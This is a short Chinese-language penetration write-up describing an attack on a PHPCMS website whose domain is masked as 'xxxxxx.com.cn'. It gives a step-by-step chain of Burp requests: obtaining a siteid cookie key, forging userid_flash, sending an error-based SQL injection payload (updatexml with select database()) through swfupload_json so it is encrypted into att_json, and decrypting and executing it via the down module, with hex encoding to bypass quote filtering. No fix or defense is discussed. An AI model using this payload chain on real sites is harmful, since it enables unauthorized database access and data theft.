1.通过fofa查询出该网站的后台，进去发现很像某cms，利用御剑的cms识别工具识别出对方是phpcms的站。
2.通过百度查询得出：该phpcms站点可能存在文件上传，敏感信息泄露，sql报错注入。我只验证出来了sql报错注入。
3.把这几个链接转发到burp的重放器：
1.1：
http://xxxxxx.com.cn/index.php?m=wap&c=index&a=init&siteid=1
获取Set-Cookie: aOqWU_siteid用的。
1.2:
http://xxxxxx.com.cn/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=
sql报错注入转换为Set-Cookie:aOqWU_att_json用的。
1.3:
http://xxxxxx.com.cn/index.php?m=content&c=down&a_k=
解密传输用的。
4.第一个1.1的链接发送go得到Set-Cookie: aOqWU_siteid的key。
5.把获取的的key复制到1.2链接最下面，伪造数据为：userid_flash=5608UgJVA1RVCARVBVdSVQRRVgwOAgFUWgMFBgYF，把GET请求改为POST请求。
6.构造url链接为sql报错注入链接：/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28%28select database()%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26&XDEBUG_SESSION_START=PHPSTORM
点击go，即可得到加密后的SQL了，其实sql语句可以不用url编码的只是一段复制下来的。
7.复制那段去1.3链接后面加上就可以解密执行sql语句了，a_k=aOqWU_att_json的key。
8.到后面的话因为过滤了'里面的内容'用16进制绕过就好。
参考链接：https://blog.csdn.net/Fly\_hps/article/details/85222735?utm\_medium=distribute.pc\_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-6.control&dist\_request\_id=&depth\_1-utm\_source=distribute.pc\_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-6.control
本文迁移自知识星球“火线Zone”
